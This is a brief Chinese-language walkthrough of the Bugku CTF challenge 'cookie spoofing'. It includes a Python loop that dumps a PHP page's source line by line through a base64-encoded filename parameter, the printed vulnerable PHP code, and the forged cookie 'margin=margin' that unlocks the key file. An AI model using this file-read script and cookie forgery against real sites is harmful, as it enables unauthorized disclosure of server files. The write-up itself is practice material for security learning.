cookie欺騙(bugku)
阿新 • • 發佈:2018-11-23
利用cookie值進行攻擊;
完全沒有一點經驗,看到這個提示,我唯一能想到的就是用burpsuite抓包後修改一下cookie值,也許會有些什麼東西;可是抓包後完全無從下手……
然後有沒有發現這道題的url跟其他的有些不一樣呢?後面有一串很奇怪的引數,這熟悉的“=”,應該是base64編碼,拿去解碼一下:原來是&fillename=key.txt;
另外url裡還有一個引數:line,它沒有任何值,那我們試著加上一個,line=2,發現出來了一行程式碼,改成3,換成了另外一行程式碼,那我們可以寫一個指令碼來把所有的程式碼顯示出來:
import requests a=30 for i in range(a): url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" s=requests.get(url) print(s.text)
執行後果然發現了一個程式:
<?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>
然後發現了cookie:margin=margin;
用burpsuite改包後傳送就可以出flag了;